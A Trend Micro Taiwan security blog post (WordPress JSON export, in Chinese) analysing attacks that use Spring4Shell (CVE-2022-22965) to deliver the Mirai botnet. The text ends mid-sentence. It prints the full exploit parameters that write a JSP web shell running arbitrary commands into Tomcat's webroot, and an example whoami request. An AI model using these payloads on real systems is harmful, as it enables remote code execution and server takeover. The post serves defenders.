{"id":72067,"date":"2022-04-21T18:15:13","date_gmt":"2022-04-21T10:15:13","guid":{"rendered":"https:\/\/blog.trendmicro.com.tw\/?p=72067"},"modified":"2022-04-21T18:15:13","modified_gmt":"2022-04-21T10:15:13","slug":"cve-2022-22965%ef%bc%9a%e5%88%86%e6%9e%90-mirai-%e6%ae%ad%e5%b1%8d%e7%b6%b2%e8%b7%af%e6%83%a1%e6%84%8f%e7%a8%8b%e5%bc%8f%e7%9a%84-spring4shell-%e6%bc%8f%e6%b4%9e%e6%94%bb%e6%93%8a%e6%89%8b%e6%b3%95","status":"publish","type":"post","link":"https:\/\/blog.trendmicro.com.tw\/?p=72067","title":{"rendered":"CVE-2022-22965\uff1a\u5206\u6790 Mirai \u6bad\u5c4d\u7db2\u8def\u60e1\u610f\u7a0b\u5f0f\u7684 Spring4Shell \u6f0f\u6d1e\u653b\u64ca\u624b\u6cd5"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\"><\/h1>\n\n\n\n<p>\u8da8\u52e2\u79d1\u6280\u767c\u73fe\u99ed\u5ba2\u6b63\u7a4d\u6975\u5229\u7528 Spring Framework \u7684 CVE-2022-22965 \u6f0f\u6d1e\u4f86\u4e0b\u8f09 Mirai \u6bad\u5c4d\u7db2\u8def\u60e1\u610f\u7a0b\u5f0f\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u8da8\u52e2\u79d1\u6280\u5a01\u8105\u7814\u7a76\u4e2d\u5fc3 Trend Micro Threat Research \u89c0\u5bdf\u5230\u99ed\u5ba2\u6b63\u7a4d\u6975\u5229\u7528 <a href=\"https:\/\/success.trendmicro.com\/dcx\/s\/solution\/000290730?language=en_US\">Spring4Shell \u6f0f\u6d1e<\/a>&nbsp; (&nbsp;<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-22965\">CVE-2022-22965<\/a>) \u4f86\u4e0b\u8f09 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Mirai_(malware)\">Mirai \u6bad\u5c4d\u7db2\u8def\u60e1\u610f\u7a0b\u5f0f<\/a>\u5230\u7cfb\u7d71\u4e0a\u57f7\u884c\u3002\u99ed\u5ba2\u5728\u6210\u529f\u6f0f\u6d1e\u653b\u64ca\u4e4b\u5f8c\uff0c\u6703\u4e0b\u8f09 Mirai \u5230\u300c\/tmp\u300d\u8cc7\u6599\u593e\uff0c\u7136\u5f8c\u5229\u7528\u300cchmod\u300d\u6307\u4ee4\u4f86\u5c07\u6a94\u6848\u8b8a\u66f4\u6210\u53ef\u57f7\u884c\u6a94\uff0c\u63a5\u8457\u4fbf\u52a0\u4ee5\u57f7\u884c\u3002<\/p>\n\n\n\n<p>\u6211\u5011\u5f9e 2022 \u5e74 4 \u6708\u521d\u958b\u59cb\u770b\u5230\u9019\u6ce2\u60e1\u610f\u6d3b\u52d5\uff0c\u6b64\u5916\u6211\u5011\u4e5f\u767c\u73fe\u60e1\u610f\u7a0b\u5f0f\u7684\u6a94\u6848\u4f3a\u670d\u5668\u4e0a\u9084\u6709\u91dd\u5c0d\u5176\u4ed6 CPU \u67b6\u69cb\u7684\u8b8a\u7a2e\u3002<\/p>\n\n\n\n<p>\u672c\u6587\u8a0e\u8ad6\u6211\u5011\u5c0d\u6b64\u60e1\u610f\u7a0b\u5f0f\u6240\u505a\u7684\u6f0f\u6d1e\u653b\u64ca\u5206\u6790\u4ee5\u53ca\u5982\u4f55\u4fee\u88dc\u6b64\u6f0f\u6d1e\uff0c\u4e26\u8aaa\u660e\u6b64\u6f0f\u6d1e\u5c0d\u771f\u5be6\u4e16\u754c\u61c9\u7528\u7a0b\u5f0f\u7684\u6f5b\u5728\u98a8\u96aa\u3002\u6700\u5f8c\uff0c\u6211\u5011\u4e5f\u63d0\u4f9b\u4e86\u4e00\u4e9b\u9632\u7bc4\u9019\u4e9b\u98a8\u96aa\u7684\u5efa\u8b70\u3002<\/p>\n\n\n\n<!--more-->\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4f55\u8b02 Spring Framework\uff1f<\/strong><\/h3>\n\n\n\n<p><br><a href=\"https:\/\/spring.io\/projects\/spring-framework\">Spring Framework<\/a> \u662f\u4e00\u7a2e\u4f01\u696d\u7d1a Java \u61c9\u7528\u7a0b\u5f0f\u6240\u4f7f\u7528\u7684\u7a0b\u5f0f\u958b\u767c\u6846\u67b6\uff0c\u6b64\u6846\u67b6\u5b8c\u6574\u652f\u63f4\u4e86\u6240\u8b02\u7684\u300c\u6a21\u578b\u3001\u6aa2\u8996\u3001\u63a7\u5236\u5668\u300d(Model-View-Controlle\uff0c\u7c21\u7a31 MVC) \u61c9\u7528\u7a0b\u5f0f\u958b\u767c\u65b9\u6cd5\uff0c\u6b64\u65b9\u6cd5\u53ef\u6e1b\u5c11\u624b\u52d5\u64b0\u5beb\u4e00\u5806\u8a2d\u5b9a\uff0c\u4e26\u63d0\u5347\u8a18\u61b6\u9ad4\u4f7f\u7528\u6548\u7387\u3002\u6b64\u5916\uff0c\u4e5f\u85c9\u7531\u4e00\u4e9b\u901a\u7528\u7684\u8a2d\u8a08\u5143\u7d20\u4f86\u8b93\u7a0b\u5f0f\u78bc\u66f4\u5bb9\u6613\u91cd\u8907\u5229\u7528\uff0c\u4e5f\u66f4\u5bb9\u6613\u7dad\u8b77\u3002<\/p>\n\n\n\n<p>Spring Framework \u662f Spring \u751f\u614b\u7cfb\u7684\u4e00\u74b0\uff0c\u9084\u5305\u542b\u4e86\u91dd\u5c0d\u96f2\u7aef\u3001\u8cc7\u6599\u3001\u5b89\u5168\u7b49\u7b49\u7684\u5176\u4ed6\u5143\u4ef6\u3002<\/p>\n\n\n\n<p><strong>CVE-2022-22965 \u8207 CVE-2022-22963 \u6709\u4f55\u4e0d\u540c\uff1f<\/strong><\/p>\n\n\n\n<p>\u76ee\u524d Spring Framework \u6709\u5169\u500b\u6f0f\u6d1e\u53ef\u4ee5\u8b93\u99ed\u5ba2\u7528\u4f86\u767c\u52d5\u9060\u7aef\u7a0b\u5f0f\u78bc\u57f7\u884c (RCE) \u653b\u64ca\u3002\u8868 1 \u5217\u51fa\u9019\u5169\u500b\u6f0f\u6d1e\u7684\u4e3b\u8981\u5dee\u7570\uff1a<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<style>\n   table {border-collapse:collapse; table-layout:fixed; width:310px;}\n   table td {border:solid 1px ; width:100px; word-wrap:break-word;}\n   <\/style>\n<figure class=\"wp-block-table\"><table  class=\" table table-hover\" ><tbody><tr><td><strong>CVE-2022-22963<\/strong><\/td><td><strong>CVE-2022-22965<\/strong><\/td><\/tr><tr><td>Spring Cloud Function \u672c\u5730\u7aef\u8cc7\u6e90\u66b4\u9732\u6f0f\u6d1e\u3002<\/td><td>\u5728\u975e\u9810\u8a2d\u60c5\u6cc1\u4e0b\uff0c\u53ef\u80fd\u8b93\u99ed\u5ba2\u5728 Spring Core \u61c9\u7528\u7a0b\u5f0f\u4e2d\u767c\u52d5 RCE \u653b\u64ca\u3002<\/td><\/tr><tr><td>\u6709\u4fee\u88dc\u66f4\u65b0\u53ef\u7528\uff1a\u662f\u3002<\/td><td>\u6709\u4fee\u88dc\u66f4\u65b0\u53ef\u7528\uff1a\u662f<br>(\u53c3\u898b\u672c\u6587\u5f8c\u9762\u300c\u53ef\u7528\u7684\u4fee\u88dc\u66f4\u65b0\u8207\u9632\u7bc4\u65b9\u6cd5\u300d\u4e00\u7bc0)\u3002<\/td><\/tr><tr><td>CVSS Base \u8a55\u5206 (CVSS 3.x)\uff1a9.8 (\u91cd\u5927) \u4f46\u9084\u4e0d\u53ca CVE-2022-22965 \u4f86\u5f97\u56b4\u91cd\u3002<\/td><td>CVSS Base \u8a55\u5206 (CVSS 3.x)\uff1a9.8 (\u91cd\u5927)\u3002<\/td><\/tr><tr><td>\u5f71\u97ff Spring Cloud Function 3.1.6\u30013.2.2 \u8207\u4e00\u4e9b\u5df2\u7d42\u6b62\u652f\u63f4\u4e14<a href=\"https:\/\/tanzu.vmware.com\/security\/cve-2022-22963\">\u4f7f\u7528\u8def\u7531\u529f\u80fd<\/a>\u7684\u820a\u7248\u672c\u3002<\/td><td>\u5f71\u97ff\u4efb\u4f55\u5728<a href=\"https:\/\/spring.io\/blog\/2022\/03\/31\/spring-framework-rce-early-announcement\">\u975e\u9810\u8a2d\u60c5\u6cc1<\/a>\u4e0b\u4f7f\u7528 Spring Core \u7684 Java \u61c9\u7528\u7a0b\u5f0f\u3002<\/td><\/tr><\/tbody><\/table><figcaption>\u8868 1\uff1aCVE-2022-22695 \u8207 CVE-2022-22693 \u7684\u5dee\u7570\u3002<\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u53d7\u5f71\u97ff\u7684\u76f8\u4f9d\u5143\u4ef6\u3001\u8edf\u9ad4\u8207\u7248\u672c<\/strong><br><\/h3>\n\n\n\n<p>\u622a\u81f3\u672c\u6587\u64b0\u7a3f\u70ba\u6b62\uff0c\u7d55\u5927\u90e8\u5206\u542b\u6709\u6f0f\u6d1e\u7684\u61c9\u7528\u7a0b\u5f0f\u90fd\u63a1\u7528\u4ee5\u4e0b\u7d44\u614b\u8207\u76f8\u4f9d\u5143\u4ef6\uff1a<\/p>\n\n\n\n<ul><li><strong>Spring Framework 5.2.20 \u4ee5\u524d\u7684\u7248\u672c\u30015.3.18 \u7248\uff0c\u9084\u6709 Java Development Kit (JDK) \u7b2c 9 \u7248\u6216\u66f4\u65b0\u7248\u672c\u3002<\/strong><\/li><li><strong>Apache Tomcat\u3002<\/strong><\/li><li><strong>\u4f7f\u7528\u5230 Spring-webmvc \u6216 spring-webflux\u3002<\/strong><\/li><li><strong>\u4f7f\u7528 Spring \u53c3\u6578\u7d81\u5b9a (parameter binding) \u529f\u80fd\u4e26\u4f7f\u7528\u975e\u57fa\u672c\u985e\u578b\u7684\u53c3\u6578\uff0c\u5982 Plain Old Java Objects (POJO)\u3002<\/strong><\/li><li><strong>\u53ef\u90e8\u7f72\uff0c\u4e26\u5305\u88dd\u6210\u7db2\u9801\u61c9\u7528\u7a0b\u5f0f\u58d3\u7e2e\u6a94 (WAR)\u3002<\/strong><\/li><li><strong>\u53ef\u5beb\u5165\u7684\u6a94\u6848\u76ee\u9304\uff0c\u5982\u300cwebapps\/ROOT\u300d\u76ee\u9304\u3002<\/strong><\/li><\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6b64\u6f0f\u6d1e\u662f\u600e\u9ebc\u4f86\u7684\uff1f<\/strong><\/h3>\n\n\n\n<p><br>\u57fa\u672c\u4e0a\uff0c\u4e4b\u6240\u4ee5\u6703\u7522\u751f\u9019\u500b\u6f0f\u6d1e\uff0c\u662f\u56e0\u70ba\u7279\u6b8a\u7269\u4ef6 (special object) \u6216\u985e\u5225 (class) \u5728\u67d0\u4e9b\u689d\u4ef6\u4e0b\u66b4\u9732\u5728\u5916\u3002\u7d93\u5e38\u6709\u4e00\u4e9b\u8acb\u6c42\u53c3\u6578\u6703\u7d81\u5b9a\u81f3 POJO \u7269\u4ef6\u537b\u672a\u4f7f\u7528 @RequestBody \u6a19\u8a3b (\u70ba\u4e86\u65b9\u4fbf\u5f9e HTTP \u8acb\u6c42\u4e2d\u8b80\u53d6\u53c3\u6578)\u3002\u6b64\u6642\u985e\u5225\u8b8a\u6578\u6703\u542b\u6709\u4e00\u500b\u53c3\u7167 (reference) \u6307\u5411\u5c0d\u61c9 HTTP \u53c3\u6578\u7684 POJO \u7269\u4ef6\u3002<\/p>\n\n\n\n<p>\u99ed\u5ba2\u53ef\u5728 HTTP \u8acb\u6c42\u7576\u4e2d\u900f\u904e\u985e\u5225\u53c3\u6578\u4f86\u5b58\u53d6\u67d0\u7269\u4ef6\uff0c\u99ed\u5ba2\u4e5f\u53ef\u7d93\u7531\u985e\u5225\u53c3\u6578\u4f86\u5b58\u53d6\u7269\u4ef6\u7684\u6240\u6709\u5b50\u5c6c\u6027 (child property)\u3002\u4e5f\u5c31\u662f\u8aaa\uff0c\u4ed6\u5011\u53ea\u9700\u900f\u904e\u5c64\u5c64\u7684\u89aa\u5c6c\u95dc\u4fc2\uff0c\u5c31\u80fd\u5b58\u53d6\u7cfb\u7d71\u4e0a\u5404\u7a2e\u5176\u4ed6\u91cd\u8981\u7269\u4ef6\u3002<\/p>\n\n\n\n<p>\u5728 Spring Core \u7576\u4e2d\uff0c\u300cclass.classLoader\u300d\u548c\u300cclass.protectionDomain\u300d\u539f\u672c\u5c31\u6709\u4e00\u5957\u908f\u8f2f\u6a5f\u5236\u4f86\u9632\u6b62\u99ed\u5ba2\u5b58\u53d6\u985e\u5225\u7269\u4ef6\u7684\u5b50\u5c6c\u6027\u3002\u4f46\u9019\u5957\u908f\u8f2f\u4e0d\u5920\u5468\u5ef6\uff0c\u6240\u4ee5\u4e8b\u5be6\u4e0a\u53ef\u4ee5\u900f\u904e\u300cclass.module.classLoader\u300d\u9078\u64c7\u5668 (selector) \u4f86\u907f\u958b\u9019\u9805\u6a5f\u5236\u3002<\/p>\n\n\n\n<p><br><br><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-01.png\" alt=\"Logic to prevent child properties; this logic is not foolproof.\"\/><figcaption>\u5716 1\uff1a\u9632\u6b62\u5b50\u5c6c\u6027\u88ab\u5b58\u53d6\u7684\u908f\u8f2f\u6a5f\u5236\uff0c\u4f46\u537b\u4e0d\u5920\u5468\u5ef6<\/figcaption><\/figure>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4fee\u88dc\u66f4\u65b0\u5206\u6790<\/strong><\/h3>\n\n\n\n<p><br>Spring Framework \u76ee\u524d\u5df2\u7d93\u91cb\u51fa\u4fee\u88dc\u66f4\u65b0\uff0c\u6211\u5011\u5728\u5f8c\u9762\u6703\u63d0\u4f9b\u4fee\u88dc\u66f4\u65b0\u8207\u9632\u7bc4\u65b9\u6cd5\u7684\u76f8\u95dc\u7d30\u7bc0\u3002<\/p>\n\n\n\n<p>\u9019\u4e00\u7bc0\uff0c\u6211\u5011\u8981\u5206\u6790\u4fee\u88dc\u66f4\u65b0\u8f03\u70ba\u7279\u6b8a\u7684\u5730\u65b9\u3002<\/p>\n\n\n\n<p>\u5982\u524d\u9762\u63d0\u5230\uff0c\u300cclass.classLoader\u300d\u548c\u300cclass.protectionDomain\u300d\u7684\u908f\u8f2f\u6a5f\u5236\u4e0d\u5920\u5468\u5ef6\uff0c\u56e0\u6b64\u624d\u5c0e\u81f4 Spring Framework \u51fa\u73fe\u6f0f\u6d1e\u3002\u70ba\u4e86\u89e3\u6c7a\u9019\u554f\u984c\uff0c\u5b50\u5c6c\u6027\u7684\u5b58\u53d6\u908f\u8f2f\u5728\u4fee\u88dc\u5f8c\u7684\u65b0\u7248\u672c\u7576\u4e2d\u5df2\u7d93\u6539\u826f\uff0c\u76ee\u524d\u53ea\u5141\u8a31\u4f7f\u7528\u300cname\u300d\u7684\u985e\u5225\u5c6c\u6027\uff0c\u4e26\u4e14\u4e0d\u518d\u5141\u8a31\u7d81\u5b9a ClassLoader \u548c ProtectionDomain \u985e\u578b\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-02.jpg\" alt=\" spring-framework-5.3.17\"\/><figcaption>\u5716 2\uff1aspring-framework-5.3.17<\/figcaption><\/figure>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-03.jpg\" alt=\"spring-framework-5.3.18\"\/><figcaption>\u5716 3\uff1aspring-framework-5.3.18<\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6709\u95dc\u4fee\u88dc\u66f4\u65b0\u7684\u7d30\u7bc0\u8acb\u53c3\u8003\u00a0<a href=\"https:\/\/github.com\/spring-projects\/spring-framework\/commit\/002546b3e4b8d791ea6acccb81eb3168f51abb15?diff=unified\">\u6b64\u8655<\/a>\u8aaa\u660e\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6f0f\u6d1e\u653b\u64ca\u5206\u6790<\/strong><\/h3>\n\n\n\n<p><br>\u9019\u4e00\u7bc0\uff0c\u6211\u5011\u5c07\u8a66\u5716\u89e3\u91cb\u70ba\u4f55\u99ed\u5ba2\u53ea\u9700\u900f\u904e\u5c64\u5c64\u7684\u89aa\u5c6c\u95dc\u4fc2\u5c31\u80fd\u53d6\u5f97\u7cfb\u7d71\u4e0a\u5404\u7a2e\u91cd\u8981\u7269\u4ef6\u7684\u5b58\u53d6\u6b0a\u9650\u3002<\/p>\n\n\n\n<p>\u99ed\u5ba2\u53ea\u8981\u80fd\u53d6\u5f97\u985e\u5225\u8b8a\u6578\u53ca\u5176\u6240\u6709\u5b50\u5c6c\u6027\u7684\u5b58\u53d6\u6b0a\u9650\uff0c\u5c31\u80fd\u6539\u8b8a\u7db2\u9801\u61c9\u7528\u7a0b\u5f0f\u7684\u884c\u70ba\u3002\u4ed6\u5011\u5f88\u719f\u6089\u5982\u4f55\u5229\u7528\u66b4\u9732\u5728\u5916\u7684\u7269\u4ef6\uff0c\u4e26\u5df2\u958b\u767c\u51fa\u591a\u9805\u6280\u5de7\u4f86\u653b\u64ca\u9019\u985e\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u99ed\u5ba2\u53ef\u5b58\u53d6 Apache Tomcat \u4e2d\u7684&nbsp; AccessLogValve \u9019\u500b\u7269\u4ef6\uff0c\u4e26\u4f7f\u7528\u300cclass.module.classLoader.resources.context.parent.pipeline.firstpath\u300d\u985e\u5225\u8b8a\u6578\u4f5c\u70ba\u653b\u64ca\u5de5\u5177\uff0c\u4f5c\u6cd5\u662f\u4fee\u6539 AccessLogValve \u7684\u5c6c\u6027 (\u5982\uff1apattern\u3001suffix\u3001directory \u548c prefix) \u4f86\u8b93\u5b58\u53d6\u8a18\u9304\u6a94\u5beb\u5165\u4e00\u500b\u7db2\u7ad9\u6307\u4ee4\u4ecb\u9762\u6a94 (web shell) \u5230\u7db2\u7ad9\u6839\u76ee\u9304 (web root)\u3002<\/p>\n\n\n\n<p>\u4ee5\u4e0b\u8aaa\u660e\u5be6\u969b\u4f5c\u6cd5\uff1a<\/p>\n\n\n\n<p><strong>\u7b2c 1 \u968e\u6bb5<\/strong><\/p>\n\n\n\n<p>\u767c\u9001\u5167\u542b\u300cburp suite\u300d\u6216\u300ccurl\u300d\u7684\u7279\u88fd\u5c01\u5305\u3002&nbsp;<\/p>\n\n\n\n<p>Sample Host = (http:\/\/{victim IP}:8080\/)<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-04.png\" alt=\"Specific headers and class attributes for the creation of a JSP web shell\"\/><figcaption>\u5716 4\uff1a\u7528\u4f86\u7522\u751f JSP web shell \u7684\u6a19\u982d\u8207\u985e\u5225\u5c6c\u6027\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u5982\u5716 4 \u6240\u793a\uff0c\u7b2c\u4e00\u968e\u6bb5\u7684\u60e1\u610f\u5167\u5bb9\u53ea\u9808\u55ae\u4e00\u8acb\u6c42\u5c31\u80fd\u5b8c\u6574\u50b3\u9001\uff0c\u7121\u9700\u4f7f\u7528\u4e0d\u540c\u7684\u6a19\u982d\uff0c\u8a73\u7d30\u8aaa\u660e\u8acb\u53c3\u95b1\u9019\u4efd<a href=\"https:\/\/github.com\/jbaines-r7\/spring4shell_vulnapp\">\u6f0f\u6d1e\u653b\u64ca\u516c\u958b\u7a0b\u5f0f\u78bc<\/a>\u3002\u9019\u4efd\u6f0f\u6d1e\u653b\u64ca\u6982\u5ff5\u9a57\u8b49\u7a0b\u5f0f\u78bc\u53e6\u4e00\u500b\u503c\u5f97\u6ce8\u610f\u7684\u5730\u65b9\u662f\u5b83\u5229\u7528\u4e86 Tomcat \u5c07\u8f38\u5165\u7684\u8a18\u9304\u6a94\u683c\u5f0f\u5316\u5f8c\u63d0\u4f9b\u7d66\u5df2\u90e8\u7f72\u61c9\u7528\u7a0b\u5f0f\u7684\u529f\u80fd\uff0c\u8acb\u770b\u7b2c 2 \u968e\u6bb5\u7684\u8aaa\u660e\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>\u7b2c 2 \u968e\u6bb5<\/strong><\/p>\n\n\n\n<p>\u5728\u5c07\u7b2c\u4e00\u968e\u6bb5\u7684\u60e1\u610f\u5167\u5bb9\u89e3\u78bc\u4e4b\u5f8c\uff0c\u6211\u5011\u5f97\u5230\u4ee5\u4e0b\u53c3\u6578\u548c\u6578\u503c\uff1a<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if(&#8220;j&#8221;.equals(request.getParameter(&#8220;pwd&#8221;))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(&#8220;cmd&#8221;)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps\/ROOT<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=<\/p>\n\n\n\n<p>\u7576\u4f3a\u670d\u5668\u8655\u7406\u5b8c\u9019\u500b\u8acb\u6c42\u4e4b\u5f8c\uff0c\u6703\u5728\u4f3a\u670d\u5668\u7684\u76ee\u9304\u5167\u5efa\u7acb\u4e00\u500b\u300ctomcatwar.jsp\u300d\u6a94\u6848\uff0c\u6211\u5011\u5f9e\u7b2c\u4e00\u968e\u6bb5\u7684\u8acb\u6c42\u7576\u4e2d\u5c31\u53ef\u4ee5\u770b\u5230\u9019\u4e32\u5b57\u3002<\/p>\n\n\n\n<p>\u4ee5\u4e0b\u662f\u4e94\u500b\u88ab\u4fee\u6539\u7684&nbsp;<a href=\"https:\/\/tomcat.apache.org\/tomcat-8.5-doc\/config\/valve.html\">\u5c6c\u6027<\/a>\uff1a<\/p>\n\n\n\n<p><em>1.Pattern<\/em>\uff1a\u9019\u662f\u7528\u4f86\u8b80\u53d6\u8acb\u6c42\u4e2d\u7684\u5167\u5bb9\u6b04\u4f4d\u6216\u5beb\u5165\u56de\u8986\u5167\u5bb9\u6642\u6240\u7528\u5230\u7684\u6b04\u4f4d\u683c\u5f0f\u3002\u6b64\u8655\u53ef\u4ee5\u770b\u5230\u5b83\u5982\u4f55\u5f9e\u6a19\u982d (Header) \u8b80\u53d6\u300cc2\u300d\u3001\u300cc1\u300d\u548c\u300csuffix\u300d\u6b04\u4f4d\uff0c\u5b83\u6703\u4f7f\u7528\u6a19\u982d\u4e2d\u7684\u6b04\u4f4d\u4f86\u5e36\u5165 %{name_of_header}i \u683c\u5f0f\u4e2d\u3002<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if(&#8220;j&#8221;.equals(request.getParameter(&#8220;pwd&#8221;))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(&#8220;cmd&#8221;)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i<\/p>\n\n\n\n<p><em>2.Suffix<\/em>\uff1a\u9019\u662f\u6bcf\u500b\u8a18\u9304\u6a94\u540d\u7a31\u7684\u526f\u6a94\u540d\uff0c\u6b64\u8655\u7522\u751f\u7684\u6a94\u6848\uff0c\u5176\u526f\u6a94\u540d\u662f\u300c.jsp\u300d\u3002<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp<\/p>\n\n\n\n<p><em>3.Directory<\/em>\uff1a\u6a94\u6848\u8981\u7522\u751f\u5728\u54ea\u500b\u76ee\u9304\u4e0b (\u7d55\u5c0d\u6216\u76f8\u5c0d\u8def\u5f91)\u3002\u6b64\u8655\u7684\u8def\u5f91\u662f\u300cwebapps\/ROOT\u300d\uff0c\u56e0\u70ba\u9019\u662f Tomcat \u9810\u8a2d\u7684\u5b89\u88dd\u8def\u5f91\u3002<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps\/ROOT<\/p>\n\n\n\n<p><em>4.Prefix<\/em>\uff1a\u9019\u662f\u52a0\u5165\u6bcf\u500b\u8a18\u9304\u6a94\u958b\u982d\u7684\u4e00\u4e32\u5b57\uff0c\u6b64\u8655\u6240\u52a0\u5165\u7684\u5b57\u4e32\u662f\u300ctomcatwar\u300d\u3002<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar<\/p>\n\n\n\n<p><em>5. fileDateFormat<\/em>\uff1a\u6b64\u6b04\u4f4d\u7528\u4f86\u5728\u8a18\u9304\u6a94\u540d\u7a31\u4e2d\u52a0\u5165\u81ea\u8a02\u6642\u9593\u6233\u8a18\u3002\u6b64\u8655\u70ba\u7a7a\u767d\uff0c\u56e0\u70ba\u5b83\u4e0d\u5e0c\u671b\u7522\u751f\u7684 JSP webshell \u8b8a\u6210\u5176\u4ed6\u526f\u6a94\u540d\uff0c\u4e5f\u4e0d\u60f3\u8981\u4f7f\u7528\u9810\u8a2d\u7684\u6642\u9593\u6233\u8a18\u683c\u5f0f\u3002<\/p>\n\n\n\n<p>class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=<\/p>\n\n\n\n<p><br><strong>\u7b2c 3 \u968e\u6bb5<\/strong><\/p>\n\n\n\n<p>\u4e0a\u50b3\u597d\u9019\u500b JSP web shell \u4e4b\u5f8c\uff0c\u99ed\u5ba2\u5c31\u80fd\u5f9e\u9060\u7aef\u5728\u4f3a\u670d\u5668\u4e0a\u57f7\u884c\u4efb\u610f\u6307\u4ee4\uff0c\u4f8b\u5982\u4ee5\u4e0b\u9019\u9053\u6307\u4ee4\uff1a<\/p>\n\n\n\n<ul><li><strong>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0(http:\/\/{victim IP}:8080\/tomcatwar[.]jsp?pwd=j&amp;cmd=whoami<u>)<\/u><\/strong><\/li><\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-05.png\" alt=\" Execution of \u201cwhoami\u201d using uploaded JSP web shell\"\/><figcaption>\u5716 5\uff1a\u4f7f\u7528\u4e0a\u50b3\u597d\u7684 JSP web shell \u4f86\u57f7\u884c\u300cwhoami\u300d\u6307\u4ee4\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6f0f\u6d1e\u82e5\u4e0d\u4fee\u88dc\u5c07\u5e36\u4f86\u4ec0\u9ebc\u98a8\u96aa<\/strong>?<br><\/h3>\n\n\n\n<p>\u9019\u500b RCE \u6f0f\u6d1e\u80fd\u8b93\u99ed\u5ba2\u64c1\u6709\u53d7\u5bb3\u88dd\u7f6e\u7684\u5b8c\u6574\u5b58\u53d6\u6b0a\u9650\uff0c\u6240\u4ee5\u662f\u500b\u5371\u96aa\u7684\u91cd\u5927\u6f0f\u6d1e\uff0c\u99ed\u5ba2\u53ef\u5229\u7528 RCE \u653b\u64ca\u4f86\u9054\u6210\u5404\u7a2e\u76ee\u7684\uff0c\u76f8\u8f03\u65bc\u5176\u4ed6\u6f0f\u6d1e\u653b\u64ca\u624b\u6cd5\uff0cRCE 